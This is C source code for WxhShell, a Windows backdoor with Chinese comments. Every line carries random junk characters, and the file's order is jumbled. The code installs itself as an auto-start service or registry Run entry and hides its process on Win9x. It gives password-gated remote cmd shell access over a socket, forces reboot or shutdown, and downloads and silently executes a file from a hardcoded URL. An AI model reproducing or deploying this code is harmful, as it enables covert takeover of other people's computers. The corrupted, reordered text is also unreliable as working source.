  // 关机 .hxin [Y  
  case 'd': { q{/*n]K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X+@s]  
    if(Boot(SHUTDOWN)) =<Hy"4+?.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZHz^S)o\[s  
    else { /=bSt  
    closesocket(wsh); rYbCOazr  
    ExitThread(0); ]Uu aN8  
    } b"^\)|*4;  
    break; r9<V%PH v  
    } fa"\=V2S  
  // 获取shell ZH% we  
  case 's': { Ohc^d"[7  
    CmdShell(wsh); hRk,vB ]  
    closesocket(wsh); W.IH#`-9E  
    ExitThread(0); cFw3Iw"JJ  
    break; B+|IZoR  
  } 2f `&WUe  
  // 退出  -W9gH  
  case 'x': { g2A"1w<-AH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m.!wsw  
    CloseIt(wsh); jBS'g{y-!  
    break; Ny]lvgu9X  
    } r-*l1([eW  
  // 离开 %Sc=_%6  
  case 'q': { gUspGsfr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N_0pO<<cs  
    closesocket(wsh); ::ri3Tu  
    WSACleanup(); O6/xPeak  
    exit(1); c+H)ed>  
    break; wBLsz/  
        } YKNb59k  
  } Y4`QK+~fH  
  } V>AS%lXj  
JfSdUWxT  
  // 提示信息 {b[tA, >  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hw*1gm  
}  C[R`Ml  
  } +eC3?B8rN  
uC)Zs, _5  
  return; zqY)dk  
} ]uAS+shQ&  
'\ XsTs#L  
// shell模块句柄 gXF.on4B  
int CmdShell(SOCKET sock) / xs9.w8-  
{ 7pz\ScSe  
STARTUPINFO si; @\!ww/QT  
ZeroMemory(&si,sizeof(si)); (xbIUz.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kwO eHdV^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y ^SyhG,V[  
PROCESS_INFORMATION ProcessInfo; ;c$@@ l  
char cmdline[]="cmd"; 7r['  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \x(.d.l/  
  return 0; \<=IMa0  
} xuF5/(__  
g [AA,@p+  
// 自身启动模式 ] ;&"1A  
int StartFromService(void) dok)Je  
{ JS PW>W"  
typedef struct w1c w1xX*  
{ brfKd]i  
  DWORD ExitStatus; h^Qh9G0dn  
  DWORD PebBaseAddress; ETe-  
  DWORD AffinityMask; "U*5Z:8?9  
  DWORD BasePriority; YroNpu]s  
  ULONG UniqueProcessId; I ld7}R  
  ULONG InheritedFromUniqueProcessId; g1ytT%]  
}   PROCESS_BASIC_INFORMATION; dGU8+)2cn  
K0v.3  
PROCNTQSIP NtQueryInformationProcess; ?3Pazc]+|  
(U_wp's  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qv$!\T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H}B2A"  
Jl_~_Z  
  HANDLE             hProcess; r,Ds[s)B  
  PROCESS_BASIC_INFORMATION pbi; EDtCNqBS~2  
VjY<\WqbS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `On3/gU|  
  if(NULL == hInst ) return 0; P,U$ %C!  
"9%q bM B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z,avQR&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #cO+<1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GZ"&L?ti  
x^X$M$o,l  
  if (!NtQueryInformationProcess) return 0; mbGcDG[HQ  
*Wso3 6an  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p&\K9hfi  
  if(!hProcess) return 0; XddHP;x  
K0oFPDJN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qF'~F`6  
4~*Y];!Q  
  CloseHandle(hProcess);  cLAe sj  
6{8/P'@/Zz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >J@egIKzP  
if(hProcess==NULL) return 0; 05"qi6tncz  
g}m+f] |  
HMODULE hMod; VyY.r#@  
char procName[255]; yjFe'  
unsigned long cbNeeded; WcU@~05b  
QkL@JF]Re  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @iRO7 6m  
Hit Ac8  
  CloseHandle(hProcess); 4#7Umj  
9qre|AA  
if(strstr(procName,"services")) return 1; // 以服务启动 v&r=-}z2!  
u1N1n;#  
  return 0; // 注册表启动 ^aHh{BQ%  
} M%|f+u&  
p/3BD&6  
// 主模块 [Y$V\h=V  
int StartWxhshell(LPSTR lpCmdLine) M/} aq  
{ z&>|*C.Y  
  SOCKET wsl; UGCox-W"  
BOOL val=TRUE; p1~*;;F  
  int port=0; 6g~+( ({lQ  
  struct sockaddr_in door; D^|7#b,zcH  
G5;V.#"Z[  
  if(wscfg.ws_autoins) Install(); LN\[Tmd &  
;y OD  
port=atoi(lpCmdLine); M J\r 4n  
+sRP<as  
if(port<=0) port=wscfg.ws_port; `s%QeAde  
F"[3c6yF  
  WSADATA data; ABZ06S/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hiN/S|JN8y  
lV)G@l[1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    NpR6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3nrqo<X  
  door.sin_family = AF_INET; %Hwbw],kl8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "wINBya'M  
  door.sin_port = htons(port); L+t[&1cW  
S>#R_H<(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s1=+::  
closesocket(wsl); q]XHa,"  
return 1; fhr-Y'  
} )!sa)\E?  
e#khl9j*bt  
  if(listen(wsl,2) == INVALID_SOCKET) { Wcn[gn<  
closesocket(wsl); [ f34a  
return 1; ^K;hn,R=  
} Pin/qp&Fa8  
  Wxhshell(wsl); "{ FoA3g|  
  WSACleanup(); yd*3)6=  
{*$9,  
return 0; i-.c= M  
<m]wi7  
} CV3DMA  
lhxdx    
// 以NT服务方式启动 s!de2z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8lb-}=  
{ <xqba4O  
DWORD   status = 0; hfv%,,e  
  DWORD   specificError = 0xfffffff; /WYh[XKe  
 D%gGRA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; az2X ch]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0m&3?"5u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,E9d\+j  
  serviceStatus.dwWin32ExitCode     = 0; anC+r(jjg9  
  serviceStatus.dwServiceSpecificExitCode = 0; eO[c lB  
  serviceStatus.dwCheckPoint       = 0; o|rzN\WJn  
  serviceStatus.dwWaitHint       = 0; !M^\f N1  
F~R7~ZE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7kd|K b(  
  if (hServiceStatusHandle==0) return; V.2[ F|P;3  
CL1 ;Inzl  
status = GetLastError(); tl^m=(ZQ  
  if (status!=NO_ERROR) O,irpQ  
{ ?(D}5`Nfu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `< Yf{'*  
    serviceStatus.dwCheckPoint       = 0; "-0;#&!  
    serviceStatus.dwWaitHint       = 0; &D*8l?A/1f  
    serviceStatus.dwWin32ExitCode     = status; 9^\hmpP@D  
    serviceStatus.dwServiceSpecificExitCode = specificError; =<.F3lo\s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D:m#d.m  
    return; 'HB~Dbq`V  
  } /[?Jylj  
&O*ENpF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]! )xr  
  serviceStatus.dwCheckPoint       = 0; "i%jQL'.  
  serviceStatus.dwWaitHint       = 0; LS6ry,D"7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8W,*eke?  
} ox4W$YdMG  
Rsn^eR6^  
// 处理NT服务事件,比如:启动、停止 Nv3tt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *~;8N|4<  
{ :\bfGSD/gd  
switch(fdwControl) {:)vwUe{  
{ 3]`mQm E  
case SERVICE_CONTROL_STOP: /buWAX 1  
  serviceStatus.dwWin32ExitCode = 0; 7Ud'd<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fnOIv#  
  serviceStatus.dwCheckPoint   = 0; j)";:v  
  serviceStatus.dwWaitHint     = 0; @|=UrKAN  
  { QptOQ3!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W>$BF[x!{  
  } [pR)@$"k'  
  return; "teyi"U+  
case SERVICE_CONTROL_PAUSE: X+at%L=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; '=#5(O%pp  
  break; O9e.=l  
case SERVICE_CONTROL_CONTINUE: h. ^o)T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uP6-cs  
  break; TPK@*9rI  
case SERVICE_CONTROL_INTERROGATE: SUu >6'LN  
  break; >a@>N  
}; +?V0:Kz]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [+gzdLad  
} l&|)O6N  
&k+*3.X  
// 标准应用程序主函数 ev"M;"y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r=$gT@  
{ WIG=D{\Yx  
Tq#<Po $  
// 获取操作系统版本 =G>.-Qfs  
OsIsNt=GetOsVer(); q^]tyU!w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q!]IG;3Sx|  
 (YrR8  
  // 从命令行安装 ^IgS  
  if(strpbrk(lpCmdLine,"iI")) Install(); :H\&2/j  
9P0yv3  
  // 下载执行文件 Pgev)rh[  
if(wscfg.ws_downexe) { /RqhykgZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l5HWZs^  
  WinExec(wscfg.ws_filenam,SW_HIDE); HlRAD|]\  
} oLP]N$'#  
>h%\HMKk  
if(!OsIsNt) { y\Dn^  
// 如果时win9x,隐藏进程并且设置为注册表启动 :x+ig5  
HideProc(); <m1sSghg  
StartWxhshell(lpCmdLine); e?=elN  
} n;qz^HXEJ  
else !-RwB@\  
  if(StartFromService()) !7c'<[+Hm  
  // 以服务方式启动 |[ocyUsxX  
  StartServiceCtrlDispatcher(DispatchTable); `j:M)2:*y  
else W>:kq_gT  
  // 普通方式启动 A$<>JVv  
  StartWxhshell(lpCmdLine); pyF5S,c  
9v$qrM`8  
return 0; <soj&f+  
} PI63RH8e  
H pFb{  
 0Ve%.k  
%YCd%lAe,  
=========================================== eE9|F/-L  
N5KEa]k1nw  
^K.*.|  
gn`zy9PU  
ls]H6z*q  
C$K+=jT  
" G * @@K  
B-dlm8gX  
#include <stdio.h> F"=Hp4-C  
#include <string.h> Yw[{beo  
#include <windows.h> "uhV|Lk*7  
#include <winsock2.h> phS>T  
#include <winsvc.h> 3SFg#  
#include <urlmon.h> xKb"p4k9d  
H|K("AVP:  
#pragma comment (lib, "Ws2_32.lib") e/@29  
#pragma comment (lib, "urlmon.lib") w%rg\E  
j8c6[ih  
#define MAX_USER   100 // 最大客户端连接数 3I\m,Ob  
#define BUF_SOCK   200 // sock buffer [?I/Uo8  
#define KEY_BUFF   255 // 输入 buffer Vrg3{@$  
JT#7yetk'  
#define REBOOT     0   // 重启 B0"0_n7-  
#define SHUTDOWN   1   // 关机 HT&p{7kFm  
$l#{_~ "m7  
#define DEF_PORT   5000 // 监听端口 '%ebcL  
Efvq?cG&  
#define REG_LEN     16   // 注册表键长度 ~?-qZ<9/  
#define SVC_LEN     80   // NT服务名长度 ctK65h{Eo  
)2]a8JVf  
// 从dll定义API RF!'K ko  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZYDW v/u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]<+3Vw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sbA2W~:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D2)i3vFB  
_ .!aBy%xf  
// wxhshell配置信息 .<dOED{v  
struct WSCFG { /sV?JV[t  
  int ws_port;         // 监听端口 @`Wt4<  
  char ws_passstr[REG_LEN]; // 口令 6W:1>,xS  
  int ws_autoins;       // 安装标记, 1=yes 0=no #!L%J<MX  
  char ws_regname[REG_LEN]; // 注册表键名 fa yKM  
  char ws_svcname[REG_LEN]; // 服务名 [G=:?J,P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )^";BVY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (M8h y4Ex  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B5 &YL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Br&^09S  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T*R{L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sxk*$jO[]  
uR^.  
}; yYk|YX(7U  
;.AV;C"  
// default Wxhshell configuration wsI5F&R,  
struct WSCFG wscfg={DEF_PORT, 1I b_Kmb-  
    "xuhuanlingzhe", B#:E?a;{  
    1, L&'l3|  
    "Wxhshell", L:i+}F;M)s  
    "Wxhshell", gZ*hkKN6  
            "WxhShell Service", N;g$)zCV1  
    "Wrsky Windows CmdShell Service", !h*B (,  
    "Please Input Your Password: ", *73AAA5LKa  
  1, BtID;^D z  
  "http://www.wrsky.com/wxhshell.exe", Pr2;Kp  
  "Wxhshell.exe" I5Q~T5Ar  
    }; 5v+L';wx[T  
?eVj8 $BQo  
// 消息定义模块 %!yxC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D$mf5G &  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DUhT>,~]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &\c5!xQ9*  
char *msg_ws_ext="\n\rExit."; 4a?r` '  
char *msg_ws_end="\n\rQuit."; Gn[*?=Vy  
char *msg_ws_boot="\n\rReboot..."; XR<G} x  
char *msg_ws_poff="\n\rShutdown..."; hRLKb}  
char *msg_ws_down="\n\rSave to "; POY=zUQ'/  
BJ2Q2W W  
char *msg_ws_err="\n\rErr!"; d{3I.$ThH  
char *msg_ws_ok="\n\rOK!"; w_GLC%|7  
P|8e%P  
char ExeFile[MAX_PATH]; /0l-mfRr  
int nUser = 0; ^H-QYuz:T0  
HANDLE handles[MAX_USER]; Qj:{p5H'  
int OsIsNt; .X^43 q  
9j2\y=<&  
SERVICE_STATUS       serviceStatus; `T`c@A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NU(^6  
!YIb  
// 函数声明 5c)<'EP  
int Install(void); YMK>+y[+4  
int Uninstall(void); sjcQaF`=  
int DownloadFile(char *sURL, SOCKET wsh); OSj%1KL  
int Boot(int flag); m3B \)2B  
void HideProc(void); h)P]gT0f/  
int GetOsVer(void); v/x*]c!"`  
int Wxhshell(SOCKET wsl); zaBG=  
void TalkWithClient(void *cs); ^ISQ{M#_  
int CmdShell(SOCKET sock); _Po#ZGm~  
int StartFromService(void); !bieo'c  
int StartWxhshell(LPSTR lpCmdLine); %~G0[fG  
\"t`W:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D*qzNT@`LR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l=,.iv=W  
dw3'T4TC?  
// 数据结构和表定义 o3fR3P%$  
SERVICE_TABLE_ENTRY DispatchTable[] = gn364U a  
{ @ E >eq.m  
{wscfg.ws_svcname, NTServiceMain}, ThbP;CzI#  
{NULL, NULL} (%.</|u  
}; EtJD'&  
F-$Kv-f  
// 自我安装 }~V,_Fv  
int Install(void) Xa>}4j.  
{ |fx#KNPf]  
  char svExeFile[MAX_PATH]; f7S^yA[[  
  HKEY key; L+uOBW_  
  strcpy(svExeFile,ExeFile); -GK'V  
5vYsA1Z  
// 如果是win9x系统,修改注册表设为自启动 aK!xRnY  
if(!OsIsNt) { +B](5z4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "\}21B~{7'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]gEu.Nth`  
  RegCloseKey(key); ipfm'aQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T4l-sJ'|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k-io$  
  RegCloseKey(key); yB|]LYh  
  return 0; +A&EKk%$ |  
    } P&h/IBA_  
  } MwN1]d|6  
} X4XFu  
else { e W9)@nVJ  
~ >4@;  
// 如果是NT以上系统,安装为系统服务 t&8<k+m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G[vUOEU ~O  
if (schSCManager!=0) a pKa4nI  
{ g<0w/n!jmC  
  SC_HANDLE schService = CreateService Ja^7$WY  
  ( !'Gb$l!  
  schSCManager, ZWov_  
  wscfg.ws_svcname, ^Kb9@lz/  
  wscfg.ws_svcdisp, _T_PX$B  
  SERVICE_ALL_ACCESS, )H.ubM1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EUJ1RhajF  
  SERVICE_AUTO_START, kbD*=d}3{  
  SERVICE_ERROR_NORMAL, &Jrq5Q C  
  svExeFile, vR<fdV  
  NULL, M^Q&A R'F  
  NULL, |+>%o.M&i  
  NULL, ^u=PdBY  
  NULL, 2LtU;}7s  
  NULL S83]O!w0  
  ); *;>V2!N=U  
  if (schService!=0) yY-FL`-  
  { []^PJ  
  CloseServiceHandle(schService); fma tc#G  
  CloseServiceHandle(schSCManager); WT;.>F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XCKY xv&  
  strcat(svExeFile,wscfg.ws_svcname); D >psh- ,1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V< 2IIH5^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cr2{sGn|  
  RegCloseKey(key); )i},@T8[  
  return 0; f_^ix  
    } ;bUJ+6f:  
  } 2O}s*C$Xav  
  CloseServiceHandle(schSCManager); de*,MkZN  
} (YaOh^T:|  
} ?v0A/68s#  
XfD z #  
return 1; p_D on3  
} \=HfO?$ Ro  
@1/Q  
// 自我卸载 $71i+h]_  
int Uninstall(void) zpBBnlq  
{ 0+$hkd n  
  HKEY key; 2&zn^\%"  
& y#y>([~  
if(!OsIsNt) { =1V>Vd?8.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -wPuml!hZ|  
  RegDeleteValue(key,wscfg.ws_regname); S7@ZtFf  
  RegCloseKey(key); GGFar\ EzW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !7kAJG g  
  RegDeleteValue(key,wscfg.ws_regname); :Vu7,o  
  RegCloseKey(key); R^mu%dw)(%  
  return 0; p~v2XdR  
  } ,%"\\#3S  
} 2@"0} po#  
} BH.:_Qrbh[  
else { k~'?"'  
~(w=U *  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V{7lltu  
if (schSCManager!=0) 5n&)q=jk=  
{ ==PQ-Ia  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +ZD[[+  
  if (schService!=0) Eg287B  
  { ?NL&x  
  if(DeleteService(schService)!=0) { I;bg?RsF  
  CloseServiceHandle(schService); X_^_r{  
  CloseServiceHandle(schSCManager); Ww a41z  
  return 0; t?3{s\z8+  
  } muqfSF  
  CloseServiceHandle(schService); i'eYmm96Q  
  } . }-@;:yh  
  CloseServiceHandle(schSCManager); M]%!n3Fb  
} PVQ#>_~5  
} |j.KFu845  
,6cbD  
return 1; J pCZq #  
} 3:02`;3  
6T} CPDRq  
// 从指定url下载文件 9.MGH2^ L?  
int DownloadFile(char *sURL, SOCKET wsh) Y_|K,T6Zj@  
{ b3CspBgC  
  HRESULT hr; os "[Iji  
char seps[]= "/"; ?%8})^Dd>4  
char *token; Q(!}t"u  
char *file; Kq@m?h  
char myURL[MAX_PATH]; |}]JWsuB  
char myFILE[MAX_PATH]; g0; &/;"  
`E4!u=%  
strcpy(myURL,sURL); q7)]cY_  
  token=strtok(myURL,seps); cLN[o8 ZU  
  while(token!=NULL) ]HZa:aPY  
  { goBKr: &]w  
    file=token; @+T{M:&l  
  token=strtok(NULL,seps); 2F*Dkv  
  } >M8^ Jgh  
'JW_]z1  
GetCurrentDirectory(MAX_PATH,myFILE); 3^iQe"P%a@  
strcat(myFILE, "\\"); toYg$IV  
strcat(myFILE, file); R4Gg|Bh  
  send(wsh,myFILE,strlen(myFILE),0); #h #mOJ5  
send(wsh,"...",3,0); #1,>Qnl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dwf #~7h_  
  if(hr==S_OK) l9ch  
return 0; % 0y3/W  
else Ztpm_P6  
return 1; c9cphZ(z  
{C,1w  
} yv#c =v|  
8g2-8pa{  
// 系统电源模块 *Wuctu^9  
int Boot(int flag) m_PrasZ>  
{ 9L)&n.t1  
  HANDLE hToken; (x@i,Ba@  
  TOKEN_PRIVILEGES tkp; QB.*R?A  
;?HZ,"^I  
  if(OsIsNt) { AT'_0> x8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q!9v}R3(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v|,[5IY  
    tkp.PrivilegeCount = 1; "k_n+cH%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Mh-*5Rx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `)( <g  
if(flag==REBOOT) { {TxVRpiP{Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :vgh KI  
  return 0; JK'_P}[]I  
} HLyFyv\  
else { hAxuZb7 ?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^&Rxui  
  return 0; +(h6{e%)  
} 3Av(|<cR  
  } 2*7s 9g  
  else { :.'T+LI  
if(flag==REBOOT) { t$PnQ@xu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #K,qF*  
  return 0; :v WYI I7  
} @D=2Er\  
else { Gad2EEZ%0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &Ow?Hd0  
  return 0; ^1FZ`2u;  
} Ppo^qb  
} ,ov v  
(J;zkb  
return 1; E 4$h%5  
} 5 1CU@1Ie  
WNlSve)]ie  
// win9x进程隐藏模块 lh(+X-}D  
void HideProc(void) Xw}Y!;<IEu  
{ yM#trqv5  
as\K(c9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J ]l@ r  
  if ( hKernel != NULL ) 51;%\@=  
  {  [k&s!Qp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); id[>!fQ=Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  &t%&l0  
    FreeLibrary(hKernel); V.a]IkK'K  
  } 4Z T  
'14l )1g.  
return; Gp3t?7S{T  
} 4kY{X%9  
e#eO`bT  
// 获取操作系统版本 ^N}~U5  
int GetOsVer(void) <+1w'-  
{ 4uAb LSh9  
  OSVERSIONINFO winfo; m$y$wo<K[7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =iN_Ug+  
  GetVersionEx(&winfo); ht cO ~b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nKa ;FaJ  
  return 1; Jm1AJ4mw  
  else ^{sI'l~  
  return 0; Q,qylL  
} O/r<VT Op  
A)p! w aG  
// 客户端句柄模块 "ZPbK$+=yU  
int Wxhshell(SOCKET wsl) D~`YRbv  
{ 6;c{~$s~[  
  SOCKET wsh; }d*sWSPu(  
  struct sockaddr_in client; *[5#g3  
  DWORD myID; zB7dCw  
xg1r 3  
  while(nUser<MAX_USER) ve]95w9J  
{ =<W[dV=W  
  int nSize=sizeof(client); hB<z]sl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C00*X[p  
  if(wsh==INVALID_SOCKET) return 1; kC#B7*[RM  
Ex&RR< 5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (i~%4w=  
if(handles[nUser]==0) 9NoPrR=x1  
  closesocket(wsh); eMd1%/[  
else ~~E=E;9  
  nUser++; b({b5z.A  
  } JI; i1@| b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6!=9V0G~  
|0 pBBDw  
  return 0; 21k-ob1Y  
} xu pdjT%4  
?[fl$EG  
// 关闭 socket Z5^ UF2`Q  
void CloseIt(SOCKET wsh) |2]WA'q  
{ WaK{/6?T,  
closesocket(wsh); }Ml z\'{  
nUser--; 7Qztc?XK  
ExitThread(0); LZbHK.G=  
} "'dC>7*<  
E0x$;CG!  
// 客户端请求句柄 ]CJ>iS!V  
void TalkWithClient(void *cs) aj-uk(r  
{ v+2q R0,LM  
Oes+na'^  
  SOCKET wsh=(SOCKET)cs; "@|V.d@  
  char pwd[SVC_LEN]; k <Sa<  
  char cmd[KEY_BUFF]; :[?o7%"  
char chr[1]; 'GO..m"G  
int i,j; ,O`*AzjS5Q  
QO^X7A"?X  
  while (nUser < MAX_USER) { rca"q[,  
!Y i<h/:  
if(wscfg.ws_passstr) { Iur} ZAz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v%e"4:K}?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TKydOw@P"  
  //ZeroMemory(pwd,KEY_BUFF); (Q} ijwj  
      i=0; BPs &  
  while(i<SVC_LEN) { J)& +y;.  
Y##P9^zH1  
  // 设置超时 b#'a4j-u  
  fd_set FdRead; /9# jv]C:  
  struct timeval TimeOut; I:7,CV  
  FD_ZERO(&FdRead); ^/YAokj  
  FD_SET(wsh,&FdRead); 6Z}))*3 9  
  TimeOut.tv_sec=8; ~PvzUT-^  
  TimeOut.tv_usec=0; `d;izQ1_=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .B n2;nO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EqU[mqeF  
IY6S\Gn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .F|WQ7Mu  
  pwd=chr[0]; ;lt;]7  
  if(chr[0]==0xd || chr[0]==0xa) { 3&2q\]Y,  
  pwd=0; P@? '@.e  
  break; srA~gzF  
  } !{0!G  
  i++; z,P7b]KVe  
    } O|m-k0n  
dgD%I  
  // 如果是非法用户,关闭 socket p=T\3_q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c$z_Zi!g#  
} LJ#P- `!{&  
e-meUf9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2DQC)Pe+z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ![n`n(oN  
FaM~ 56Pa  
while(1) { iB_j*mX]  
A| -\C$  
  ZeroMemory(cmd,KEY_BUFF); e5]0<s$  
7FFYSv,[:  
      // 自动支持客户端 telnet标准   }7v2GfEkM  
  j=0; Q{-r4n|b  
  while(j<KEY_BUFF) { jX,~iZ_B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g >oLc6T  
  cmd[j]=chr[0]; =h!m/f^x  
  if(chr[0]==0xa || chr[0]==0xd) { oOz6Er[KO  
  cmd[j]=0; =Z$6+^L  
  break; >D aS*r  
  } zvj >KF|y  
  j++; Vs{sB*:  
    } /q]@|5I  
M 4?3l  
  // 下载文件 9hzU@m  
  if(strstr(cmd,"http://")) { (*gpa:Sc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &6EfybAt^_  
  if(DownloadFile(cmd,wsh)) Br??Gdd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SQk!o{  
  else "YZ`g}sG  
